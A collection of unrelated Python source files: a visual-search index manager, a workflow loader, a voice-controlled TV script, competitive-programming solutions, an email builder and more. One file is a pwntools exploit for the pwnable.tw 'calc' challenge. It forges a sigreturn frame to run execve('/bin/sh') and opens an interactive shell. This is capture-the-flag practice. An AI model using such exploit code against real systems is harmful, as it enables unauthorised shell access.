                cls._visual_retriever[retriever_pk] = retriever.SimpleRetriever(name=dr.name, approximator=approximator)
            elif dr.algorithm == Retriever.EXACT:
                cls._visual_retriever[retriever_pk] = retriever.SimpleRetriever(name=dr.name)
            elif dr.algorithm == Retriever.FAISS and dr.approximator_shasum is None:
                _, di = Indexers.get_trained_model({"trainedmodel_selector": {"shasum": dr.indexer_shasum}})
                cls._visual_retriever[retriever_pk] = retriever.FaissFlatRetriever(name=dr.name,
                                                                                components=di.arguments[
                                                                                'components'])
            elif dr.algorithm == Retriever.FAISS:
                approximator, da = Approximators.get_trained_model(
                    {"trainedmodel_selector": {"shasum": dr.approximator_shasum}})
                da.ensure()
                approximator.load()
                cls._visual_retriever[retriever_pk] = retriever.FaissApproximateRetriever(name=dr.name,
                                                                                approximator=approximator)
            elif dr.algorithm == Retriever.LOPQ:
                approximator, da = Approximators.get_trained_model(
                    {"trainedmodel_selector": {"shasum": dr.approximator_shasum}})
                da.ensure()
                approximator.load()
                cls._visual_retriever[retriever_pk] = retriever.LOPQRetriever(name=dr.name, approximator=approximator)

            else:
                raise ValueError("{} not valid retriever algorithm".format(dr.algorithm))
        return cls._visual_retriever[retriever_pk], cls._retriever_object[retriever_pk]

    @classmethod
    def refresh_index(cls, dr):
        # TODO improve this by either having a separate broadcast queues or using redis
        last_count = cls._index_count[dr.pk]
        current_count = IndexEntries.objects.count()
        visual_index = cls._visual_retriever[dr.pk]
        if last_count == 0 or last_count != current_count or len(visual_index.loaded_entries) == 0:
            cls._index_count[dr.pk] = current_count
            cls.update_index(dr)
        return len(visual_index.loaded_entries), visual_index.findex

    @classmethod
    def update_index(cls, dr):
        source_filters = dr.source_filters.copy()
        # Only select entries with completed events, otherwise indexes might not be synced or complete.
        source_filters['event__completed'] = True
        if dr.indexer_shasum:
            source_filters['indexer_shasum'] = dr.indexer_shasum
        if dr.approximator_shasum:
            source_filters['approximator_shasum'] = dr.approximator_shasum
        else:
            source_filters['approximator_shasum'] = None  # Required otherwise approximate index entries are selected
        index_entries = IndexEntries.objects.filter(**source_filters)
        visual_index = cls._visual_retriever[dr.pk]
        for index_entry in index_entries:
            if index_entry.pk not in visual_index.loaded_entries and index_entry.count > 0:
                cls.add_index_entry(index_entry, visual_index)

    @classmethod
    def add_index_entry(cls, index_entry, visual_index):
        if index_entry.pk not in cls._index_entries:
            cls._index_entries[index_entry.pk] = index_entry
        if visual_index.algorithm == "LOPQ":
            entries = index_entry.get_vectors()
            logging.info("loading approximate index {}".format(index_entry.pk))
            visual_index.add_entries(entries, index_entry.video_id, index_entry.target)
            visual_index.loaded_entries.add(index_entry.pk)
        elif visual_index.algorithm == 'FAISS':
            index_file_path = index_entry.get_vectors()
            logging.info("loading FAISS index {}".format(index_entry.pk))
            visual_index.add_vectors(index_file_path, index_entry.count, index_entry.pk)
        else:
            vectors = index_entry.get_vectors()
            logging.info("Starting {} in {} with shape {}".format(index_entry.video_id, visual_index.name,
                                                                  vectors.shape))
            try:
                visual_index.add_vectors(vectors, index_entry.count, index_entry.pk)
            except:
                logging.info("ERROR Failed to load {} vectors shape {} entries {}".format(
                    index_entry.video_id, vectors.shape, index_entry.count))
            else:
                logging.info("finished {} in {}".format(index_entry.pk, visual_index.name))

    @classmethod
    def retrieve(cls, event, index_retriever, dr, vector, count, region_pk=None):
        cls.refresh_index(dr)
        if 'nprobe' in event.arguments:
            results = index_retriever.nearest(vector=vector, n=count, nprobe=event.arguments['nprobe'])
        else:
            results = index_retriever.nearest(vector=vector, n=count)
        qr_batch = []
        for rank, r in enumerate(results):
            if 'indexentries_pk' in r:
                di = cls._index_entries[r['indexentries_pk']]
                r['type'] = di.target
                r['video'] = di.video_id
                r['id'] = di.get_entry(r['offset'])
            qr = QueryResult()
            if region_pk:
                qr.query_region_id = region_pk
            qr.query = event.parent_process
            qr.retrieval_event_id = event.pk
            if r['type'] == 'regions':
                dd = Region.objects.get(pk=r['id'])
                qr.region = dd
                qr.frame_index = dd.frame_index
                qr.video_id = dd.video_id
            elif r['type'] == 'frames':
                qr.frame_index = int(r['id'])
                qr.video_id = r['video']
            else:
                raise ValueError("No key found {}".format(r))
            qr.algorithm = dr.algorithm
            qr.rank = int(r.get('rank', rank + 1))
            qr.distance = int(r.get('dist', rank + 1))
            qr_batch.append(qr)
        if region_pk:
            event.finalize_query({"QueryResult": qr_batch},
                                 results={region_pk: {"retriever_state": index_retriever.findex}})
        else:
            event.finalize_query({"QueryResult": qr_batch}, results={"retriever_state": index_retriever.findex})
        event.parent_process.results_available = True
        event.parent_process.save()
        return 0


# coding:utf-8

import unittest
from resemblance.main.word2vec_sample.constants import *
import requests
import json

class ScrapingTest(unittest.TestCase):
    def test_url_is_none(self):
        load_data = json.loads(SAMPLE_JSON)
        for bookmark_data in load_data['bookmark']:
            try:
                html = requests.get(bookmark_data['url'])
            except requests.HTTPError as e:
                print(e.response)
            except requests.ConnectionError as e:
                print(e.response)
            else:
                self.assertIsNotNone(html)

if __name__ == '__main__':
    unittest.main()


"""Workflows specs serialisation and desieralisation."""

import json
import pathlib
import typing as t
import logging as lg

from . import Workflow

logger = lg.getLogger(__package__)

class WorkflowNotFound(LookupError):
    """Workflow not found."""

def _construct_workflows(workflows_spec: t.Dict[str, t.Any]) -> t.List[Workflow]:
    """Construct workflows from specification.

    Args:
        workflows_spec: workflows specifications

    Returns:
        workflow type specifications
    """

    from . import WORKFLOW

    assert (1,) < tuple(map(int, workflows_spec["version"].split("."))) < (2,)
    workflows = []
    for workflow_spec in workflows_spec["workflows"]:
        workflow_cls = WORKFLOW[workflow_spec["spec_type"]]
        workflow = workflow_cls.from_spec(workflow_spec)
        workflows.append(workflow)
    return workflows

def _load_specs(workflows_file: pathlib.Path) -> t.Dict[str, t.Any]:
    """Load workflows specifications file.

    Determines load method from the file suffix. Supported file types:

    * JSON
    * YAML

    Args:
        workflows_file: workflows specifications file path

    Returns:
        workflows specifications
    """

    logger.info("Loading workflows specifictions from '%s'", workflows_file)
    workflows_text = workflows_file.read_text()
    if workflows_file.suffix == ".json":
        return json.loads(workflows_text)
    elif workflows_file.suffix in (".yml", ".yaml"):
        try:
            import yaml
        except ImportError as e:
            try:
                from ruamel import yaml
            except ImportError as er:
                raise e from er
        return yaml.safe_load(workflows_text)
    raise ValueError("Unknown extension: %s" % workflows_file.suffix)

def load_workflows(workflows_file: pathlib.Path) -> t.List[Workflow]:
    """Load workflows specifications file.

    Determines load method from the file suffix. Supported file types:

    * JSON
    * YAML

    Args:
        workflows_file: workflows specifications file path

    Returns:
        workflows specifications
    """

    workflows_specs = _load_specs(workflows_file)
    return _construct_workflows(workflows_specs)

def get_workflow(
    name: str,
    version: str,
    workflows_spec_file: pathlib.Path,
) -> Workflow:
    """Get workflow specification.

    Args:
        name: workflow name
        version: workflow version
        workflows_spec_file: workflows specifications file path

    Returns:
        workflow specification

    Raises:
        WorkflowNotFound: if workflow with given name and version not found
    """

    workflows = load_workflows(workflows_spec_file)
    try:
        return next(w for w in workflows if w.name == name and w.version == version)
    except StopIteration:
        raise WorkflowNotFound("name=%s, version=%s" % (name, version)) from None


import io
import os

import sounddevice as sd

from google.cloud import speech
from google.cloud.speech import enums
from google.cloud.speech import types
from scipy.io.wavfile import write
from pydub import AudioSegment
from pywebostv.discovery import *
from pywebostv.connection import *
from pywebostv.controls import *

def get_audio_file_name():
    file_name = os.path.join(
        os.path.dirname(__file__),
        'resources',
        'audio.raw')

    return file_name

def record_audio(file_name, fs):
    seconds = 5

    audio = sd.rec(int(seconds * fs), samplerate=fs, channels=1)
    print('recording')
    sd.wait()
    print('finish')
    write(file_name, fs, audio)

def get_audio_content(file_name):
    with io.open(file_name, 'rb') as audio_file:
        content = audio_file.read()
        audio = types.RecognitionAudio(content=content)

    return audio

def wav_to_flac(file_name):
    wav_audio = AudioSegment.from_file(file_name, format='wav')
    wav_audio.export(file_name, format='flac')

def classify_and_exec(sysctrl, appctrl, mediactrl, msg):

    if 'netflix' in msg:
        apps = appctrl.list_apps()
        netflix = [x for x in apps if "netflix" in x["title"].lower()][0]
        appctrl.launch(netflix)

    elif 'volume' in msg:
        volume = mediactrl.get_volume()['volume']

        if 'aumentar' in msg:
            new_volume = volume + 15 if volume <= 85 else 100

        elif 'diminuir' in msg:
            new_volume = volume - 15 if volume >= 15 else 0

        mediactrl.set_volume(new_volume)

    elif 'desligar tv' in msg:
        sysctrl.power_off()

    elif 'mensagem' in msg:
        sysctrl.notify(msg.replace('mensagem', ''))

def run(stt_client, stt_config, fs, sysctrl, appctrl, mediactrl):
    file_name = get_audio_file_name()

    while True:
        record_audio(file_name, fs)
        wav_to_flac(file_name)
        audio = get_audio_content(file_name)

        response = stt_client.recognize(stt_config, audio)
        if response.results:
            result = response.results[0].alternatives[0].transcript
            classify_and_exec(sysctrl, appctrl, mediactrl, result.lower())

if __name__ == '__main__':
    store = {}
    tv_client = WebOSClient.discover()[0]
    tv_client.connect()

    for status in tv_client.register(store):
        if status == WebOSClient.PROMPTED:
            print("Please accept the connect on the TV!")
        elif status == WebOSClient.REGISTERED:
            print("Registration successful!")

            sysctrl = SystemControl(tv_client)
            appctrl = ApplicationControl(tv_client)
            mediactrl = MediaControl(tv_client)

            fs = 16000

            stt_client = speech.SpeechClient()
            stt_config = types.RecognitionConfig(
                encoding=enums.RecognitionConfig.AudioEncoding.FLAC,
                sample_rate_hertz=fs,
                language_code='pt-BR')

            run(stt_client, stt_config, fs, sysctrl, appctrl, mediactrl)


quiz = {
    'answer':[24 , 22 , 26 , 28],
    'right': 2
}
print("if x = 8 , then what is the value of 2*(x+3)")

print("good luck!!")

act = 1
for item in quiz['answer']:
    print(act,". " ,item)
    act += 1

while True :
    act = int(input("your number : "))
    if act == quiz['right']:
        print('right'," is true answer Congratulation !!")
        break
    print(act ,"is wrong answer !")
    print("let s' continue ")


from pwn import *

def wait(listen,send):
    p.recvuntil(listen)
    p.sendline(send)
    return p.recvline()

def lanuch_gdb():
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    print ('pid:'+str(proc.pidof(p)[0]))
    gdb.attach(proc.pidof(p)[0], execute='handle SIGALRM ignore\nb *0x8049378\nc')

#initialize buffer as zero and set ebx as the pointer to '/bin/sh'
def init():
    for i in range(446,420,-1):
        p.sendline('+'+str(i)+'+1')
    for i in range(421,447,1):
        if i==433:
            p.sendline('+433-' + str(raw_stack_addr) + '+1783-1+1')
        else:
            p.sendline('+'+str(i)+'-2+1')

context.kernel='i386'
p = remote('chall.pwnable.tw' ,10100)
elf = ELF('/home/etenal/pwnable.tw/calc/calc')
raw_stack_addr = int(wait('tor ===\n','-5'))
stack_addr = 0xffffffff + raw_stack_addr + 1
raw_stack_addr = abs(raw_stack_addr)
print (hex(stack_addr))
init()
#lanuch_gdb()

#make a fake sigreturn frame
p.sendline('+446-'+str(0x68732f)+'+'+str(0x68732f))
p.sendline('+445-'+str(0x6e69622f)+'+'+str(0x6e69622f))
p.sendline('+442-'+str(0x2b)+'+'+str(0x2b))
p.sendline('+439-'+str(0x23)+'+'+str(0x23))
p.sendline('+438-'+str(0x8049a21)+'+'+str(0x8049a21))
p.sendline('+435-'+str(0xb)+'+'+str(0xb))
p.sendline('+423-'+str(0x8049a21)+'+'+str(0x8049a21))
p.sendline('+422-'+str(0x77)+'+'+str(0x77))
p.sendline('+421-'+str(0x805c34b)+'+'+str(0x805c34b))

#change eip
p.sendline('-8-'+str(0x8049432-0x100+0xc)+'+'+str(0x8049432))
p.interactive()


import sys
input = sys.stdin.readline

N, M = map(int,input().split())

matrix = [list(map(int,input().split())) for _ in range(N)]
psum = []
psum_2 = []

for i in range(N):
    for j in range(N):
        if len(psum) != 0:
            psum.append(psum[j-1] + matrix[i][j])
        elif len(psum) == 0:
            psum.append(matrix[i][j])

    psum_2.append(psum)
    psum = []

for k in range(M):
    total = 0
    x1, y1, x2, y2 = map(int,input().split())

    for o in range(x1-1, x2):
        if y1 == 1:
            total += psum_2[o][y2-1]
        else:
            total += psum_2[o][y2-1] - psum_2[o][y1-2]

    print(total)


# DFS와 BFS - 그래프이론

from collections import deque,defaultdict
from sys import stdin

# 참고 : https://cyc1am3n.github.io/2019/04/26/bfs_dfs_with_python.html
# 반례 모음 : https://www.acmicpc.net/board/view/24356
'''
    dfs : 한 노드의 자식 노드까지 다 찍고 오기
    bfs : 같은 깊이의 노드를 다 탐색 후 다음 깊이의 노드 탐색

'''

n,m,v = map(int,stdin.readline().split())
gra = defaultdict(list)

for _ in range(m):#그래프 완성
    a, b = map(int, stdin.readline().split())
    gra[a].append(b)
    gra[b].append(a)

for i in gra:
    gra[i].sort()

#print(gra)

def DFS(graph, root):
    visit = []
    stack = [root]

    while stack:
        n= stack.pop() #깊이 들어가기
        if n not in visit:
            visit.append(n)
            a=list(set(graph[n])-set(visit))
            a.sort(reverse=True)
            stack+=a
    return visit

def BFS(graph, root):
    visit=[]
    dq=deque([root])

    while dq:
        n = dq.popleft()
        if n not in visit:
            visit.append(n)
            a = list(set(graph[n])-set(visit))
            a.sort()
            dq+=a

    return visit

print(*DFS(gra,v),sep=' ')
print(*BFS(gra,v),sep=' ')
'''
BFS예제
5 5 3
5 4
5 2
1 2
3 4
3 1

dq는 [3]
n은 3, dq는 []
visit [3]
dq+=graph[n]-set(visit)
--> [] += {1,4}-{3}
dq == ([1,4])

n은 1, dq는 [4]
visit [3,1]
dq+=graph[n]-set(visit)
--> [4] += {2,3}-{3}
dq == [4,2]

...

'''


import csv

import config_files.config as c

class email_builder:
    def __init__(self):
        self.emails_formats = self.load_emails_formats()

    @staticmethod
    def load_emails_formats():
        with open(c.path_csv_emails_format, "r") as f:
            reader = csv.DictReader(f, delimiter=";")
            return list(reader)

    def get_email(self, contact):
        for email in self.emails_formats:
            if email["societe"] == contact["societe"]:
                e = email["format"]
                e = e.replace("{prenom}", contact["prenom"])
                e = e.replace("{nom}", contact["nom"])
                return e

        print("Erreur : La société '" + contact['societe'] + "' de " + contact['prenom'] + " " + contact['nom'] + " ne correspond à aucune société dans emails_format.csv")
        raise Exception

    @staticmethod
    def get_content(contact):
        f = open("templates/" + contact["template_name"] + "_template.txt", "r", encoding="utf8")
        content = f.read()
        content = content.replace("{prenom}", contact["prenom"].capitalize())
        content = content.replace("{nom}", contact["nom"].capitalize())
        replacement = contact['template_replace'].split(";")
        for value in replacement:
            r = value.split("=")
            content = content.replace("{" + r[0] + "}", r[1])

        content_splitted = content.split("\n\n", 1)
        return content_splitted[0], content_splitted[1]

    @staticmethod
    def get_attachment_path(attachment):
        attachment_format = c.attachment_format
        replacement = attachment.split(";")
        for value in replacement:
            r = value.split("=")
            attachment_format = c.attachment_format.replace("{" + r[0] + "}", r[1])

        return "attachments/" + attachment_format

    def build(self, contact):
        email = self.get_email(contact)
        subject, message = self.get_content(contact)
        file = self.get_attachment_path(contact["attachment"])

        return email, subject, message, file